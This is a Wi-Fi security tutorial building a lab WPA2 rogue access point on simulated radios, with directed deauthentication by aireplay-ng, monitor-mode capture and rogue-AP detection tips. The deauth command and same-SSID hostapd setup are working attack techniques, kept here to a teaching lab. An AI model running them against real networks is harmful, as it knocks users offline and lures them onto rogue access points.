WPA2 WiFi Honeypot: Rogue AP and Deauthentication Testing

A WPA2-Personal client does not transmit its Wi-Fi password to an access point. Building a same-named AP does not let you "capture the WPA2 password."

In this article, "honeypot" means a controlled WPA2 rogue AP used to observe client association and reassociation. It is not a password-harvesting portal.

Both APs intentionally use a known test PSK so reassociation is deterministic. That is a lab design choice, not proof that a real attacker already knows the target PSK. Physical hardware adds RF, channel, regulatory, driver, and PMF behavior that mac80211_hwsim does not model. The steps below stay on software radios so you can reproduce the same SSID different BSSID story cleanly.

What is a WPA2 WiFi honeypot?

These overlap. They are not synonyms. Captive portals live on the evil twin guide. Offline handshake cracking lives on the WPA handshake guide.

SSID vs BSSID and what WPA2 does not reveal

SSID: GLC-Corp

  BSSID A (02:00:00:00:00:00)  →  legitimate AP (wlan0)
  BSSID B (02:00:00:00:03:00)  →  honeypot AP (wlan3)

Both advertise GLC-Corp. The client's associated BSSID tells you which radio it actually joined.

The client proves knowledge of PSK-derived key material. The PSK itself is not sent as plaintext. A rogue WPA2 AP without the correct PSK cannot simply impersonate the secured network and learn the client's passphrase from a normal successful association.

Build the two-AP software lab

This WiFi honeypot Kali Linux lab uses four mac80211_hwsim radios so you can run a legitimate AP, a victim, a monitor interface, and the honeypot at once.

Create the working directory:

mkdir -p ~/wpa2-honeypot-lab/{logs,captures}

Load four simulated radios:

sudo modprobe mac80211_hwsim radios=4

Keep NetworkManager off those interfaces:

for i in wlan0 wlan1 wlan2 wlan3; do sudo nmcli device set "$i" managed no; done

Map them like this:

• wlan0: legitimate WPA2 AP
• wlan1: victim (wpa_supplicant)
• wlan2: monitor / injection
• wlan3: WPA2 honeypot / rogue AP

Both APs use the same SSID, same WPA2 settings, and the same known lab PSK. BSSIDs differ. Clients may weigh saved profiles, security compatibility, signal, and roaming logic; do not assume "strongest signal always wins." On hwsim, pin the BSSID when you need a deterministic before/after story.

Start the legitimate WPA2 AP

Write the config file:

cat > ~/wpa2-honeypot-lab/hostapd-legit.conf <<'EOF'
interface=wlan0
driver=nl80211
ssid=GLC-Corp
hw_mode=g
channel=6
wpa=2
wpa_passphrase=GLCwifi2026
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

Bring the AP interface up:

sudo ip link set wlan0 up

Start hostapd in the background:

sudo hostapd -B ~/wpa2-honeypot-lab/hostapd-legit.conf

Confirm BSSID A:

iw dev wlan0 info | grep -E 'addr|ssid|type|channel'

	addr 02:00:00:00:00:00
	ssid GLC-Corp
	type AP
	channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz

Pin the victim to BSSID A for a clean baseline (without bssid=, hwsim may pick either AP):

cat > ~/wpa2-honeypot-lab/wpa-victim-a.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
    ssid="GLC-Corp"
    psk="GLCwifi2026"
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
    bssid=02:00:00:00:00:00
}
EOF

Bring the client interface up:

sudo ip link set wlan1 up

Start the client profile:

sudo wpa_supplicant -B -i wlan1 -c ~/wpa2-honeypot-lab/wpa-victim-a.conf -f ~/wpa2-honeypot-lab/logs/wpa-a.log

Confirm association status:

wpa_cli -i wlan1 status | grep -E 'bssid|ssid|key_mgmt|wpa_state'

bssid=02:00:00:00:00:00
ssid=GLC-Corp
key_mgmt=WPA2-PSK
wpa_state=COMPLETED

Start the WPA2 honeypot AP

Write the honeypot config (same SSID and known lab PSK, different interface/BSSID):

cat > ~/wpa2-honeypot-lab/hostapd-honeypot.conf <<'EOF'
interface=wlan3
driver=nl80211
ssid=GLC-Corp
hw_mode=g
channel=6
wpa=2
wpa_passphrase=GLCwifi2026
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMP
EOF

Bring the honeypot interface up:

sudo ip link set wlan3 up

Start hostapd in the background:

sudo hostapd -B ~/wpa2-honeypot-lab/hostapd-honeypot.conf

Confirm BSSID B:

iw dev wlan3 info | grep -E 'addr|ssid|type|channel'

	addr 02:00:00:00:03:00
	ssid GLC-Corp
	type AP
	channel 6 (2437 MHz), width: 20 MHz (no HT), center1: 2437 MHz

Put the attacker radio in monitor mode and prove both BSSIDs advertise the same WPA2 ESSID:

sudo ip link set wlan2 down

Switch that interface to monitor type:

sudo iw dev wlan2 set type monitor

Bring the monitor interface back up:

sudo ip link set wlan2 up

Lock the monitor radio to channel 6 with the APs:

sudo iw dev wlan2 set channel 6

Scan briefly and write a CSV summary:

sudo timeout 6 airodump-ng --band bg -c 6 -w ~/wpa2-honeypot-lab/captures/airodump-both --output-format csv wlan2

Inspect the first rows of that CSV:

head -5 ~/wpa2-honeypot-lab/captures/airodump-both-01.csv

BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
02:00:00:00:00:00, 2026-09-05 00:29:27, 2026-09-05 00:29:33,  6,  54, WPA2, CCMP, PSK, -18,       59,        0,   0.  0.  0.  0,   8, GLC-Corp,
02:00:00:00:03:00, 2026-09-05 00:29:27, 2026-09-05 00:29:33,  6,  54, WPA2, CCMP, PSK, -18,       59,        0,   0.  0.  0.  0,   8, GLC-Corp,

Observe the baseline association

Before deauth, record which AP holds the station:

sudo iw dev wlan0 station dump | head -4

Station 02:00:00:00:01:00 (on wlan0)
	authorized:	yes
	authenticated:	yes
	associated:	yes

Confirm the honeypot still has no station:

sudo iw dev wlan3 station dump | head -2

No station on BSSID B yet. Client: SSID GLC-Corp, BSSID A.

Perform and verify directed deauthentication

A deauthentication attack against WPA2 works by sending a management frame that ends the authenticated relationship between station and AP. Traditional 802.11 management frames often lacked cryptographic protection, so forged deauth was possible where Protected Management Frames are not required. Deauth is protocol-level management-frame abuse, not RF jamming. It does not by itself force the client onto the honeypot BSSID.

Target only the lab relationship:

sudo aireplay-ng -0 3 -a 02:00:00:00:00:00 -c 02:00:00:00:01:00 wlan2

00:29:33  Waiting for beacon frame (BSSID: 02:00:00:00:00:00) on channel 6
00:29:34  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:29:34  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]
00:29:35  Sending 64 directed DeAuth (code 7). STMAC: [02:00:00:00:01:00] [ 0| 0 ACKs]

In this mac80211_hwsim run, the 0 ACKs counter did not reflect the observed disconnect, so do not use it alone as the success criterion. Verify the client log or captured management frames. On physical hardware, ACK counts remain useful injection feedback.

Use the client-side disconnect lines:

grep CTRL-EVENT-DISCONNECTED ~/wpa2-honeypot-lab/logs/wpa-a.log | tail -3

wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=7
wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=7
wlan1: CTRL-EVENT-DISCONNECTED bssid=02:00:00:00:00:00 reason=7

reason=7 is the reason code reported by the client for the disconnect generated in this test.

Capture management frames on the monitor interface while you inject (optional but stronger evidence than aireplay-ng banners alone):

sudo timeout 12 tcpdump -i wlan2 -n -s 0 -w ~/wpa2-honeypot-lab/captures/deauth-mgmt.pcap

In another Terminal, run the same directed deauth while that capture is open. Then list deauthentication frames:

tshark -r ~/wpa2-honeypot-lab/captures/deauth-mgmt.pcap -Y 'wlan.fc.type_subtype == 0x000c' -T fields -e frame.number -e wlan.sa -e wlan.da -e wlan.bssid -e wlan.fixed.reason_code

65	02:00:00:00:00:00	02:00:00:00:01:00	02:00:00:00:00:00	0x0007
66	02:00:00:00:00:00	02:00:00:00:01:00	02:00:00:00:00:00	0x0007
67	02:00:00:00:01:00	02:00:00:00:00:00	02:00:00:00:00:00	0x0007
68	02:00:00:00:01:00	02:00:00:00:00:00	02:00:00:00:00:00	0x0007

In Wireshark GUI, open the same .pcap and filter wlan.fc.type_subtype == 0x000c. Skip a full EAPOL cracking dive here; that belongs on the handshake article.

Observe reassociation from BSSID A to B

After disconnect, a client might return to BSSID A or move to another compatible AP. This lab uses a deliberate wpa_supplicant reassociation to BSSID B after deauth rather than pretending the client automatically roamed there.

Write a profile that targets the honeypot BSSID (same known lab PSK):

cat > ~/wpa2-honeypot-lab/wpa-victim-b.conf <<'EOF'
ctrl_interface=/var/run/wpa_supplicant
network={
    ssid="GLC-Corp"
    psk="GLCwifi2026"
    key_mgmt=WPA-PSK
    proto=RSN
    pairwise=CCMP
    bssid=02:00:00:00:03:00
}
EOF

Stop the running wlan1 client process first (removing the control socket alone does not kill wpa_supplicant):

sudo kill $(pgrep -n -f 'wpa_supplicant -B -i wlan1') 2>/dev/null || true

Then remove a stale control socket if one remains:

sudo rm -f /var/run/wpa_supplicant/wlan1

Start the BSSID B profile:

sudo wpa_supplicant -B -i wlan1 -c ~/wpa2-honeypot-lab/wpa-victim-b.conf -f ~/wpa2-honeypot-lab/logs/wpa-b.log

Confirm association status:

wpa_cli -i wlan1 status | grep -E 'bssid|ssid|key_mgmt|wpa_state'

bssid=02:00:00:00:03:00
ssid=GLC-Corp
key_mgmt=WPA2-PSK
wpa_state=COMPLETED

Confirm the honeypot AP now lists the station:

sudo iw dev wlan3 station dump | head -4

Station 02:00:00:00:01:00 (on wlan3)
	authorized:	yes
	authenticated:	yes
	associated:	yes

Before: SSID GLC-Corp, BSSID A. After: same SSID, BSSID B. The network name stayed identical while the actual AP changed. Deauth only ended the old association; the next BSSID was selected deliberately.

What the honeypot can observe

Once the controlled client associates successfully, the honeypot AP can log station MAC, association events, WPA authentication state, and any DHCP or traffic you intentionally route through it.

It does not obtain the WPA2 PSK simply because the client associated. The client already knew the lab PSK; the AP verified derived key material.

WPA2 honeypot vs evil twin vs handshake cracking

Kali also packages wifi-honey (package description: Wi-Fi honeypot). This article uses hostapd directly because the manual two-AP setup makes the SSID/BSSID, WPA2, deauthentication, and reassociation behavior easier to inspect and reproduce.

Why deauthentication may fail

Do not teach "deauth always works against WPA2."

Detect rogue AP and deauth behavior

Rogue access point detection for this scenario looks for bursts of deauthentication or disassociation frames, unexpected BSSID changes for a saved network, duplicate SSID advertisements outside inventory, unexpected security settings, WIDS/WIPS alerts, and client connection logs.

Multiple BSSIDs for one SSID are normal in enterprise Wi-Fi. The anomaly is not "the same SSID exists twice." You need authorized inventory, security baseline, and context.

Test checklist

Common problems

Summary

A WPA2 WiFi honeypot on this page is a controlled second AP that shares an SSID and known lab PSK so you can watch association move from BSSID A to BSSID B. The passphrase does not cross the air as plaintext, and a successful association does not hand the PSK to the rogue AP.

Directed deauth creates a disconnect opportunity. Verify it with client logs or captured management frames; on hwsim, do not judge success from ACK count alone. Pinning BSSIDs keeps the before/after evidence honest. Use the evil-twin guide for portals and path control, and the handshake guide for offline candidate testing.

References

• hostapd: https://w1.fi/hostapd/
• Aircrack-ng: https://www.aircrack-ng.org/
• Linux mac80211_hwsim: https://www.kernel.org/doc/html/latest/networking/mac80211_hwsim/mac80211_hwsim.html
• Wireshark 802.11 display filters: https://www.wireshark.org/docs/dfref/w/wlan.html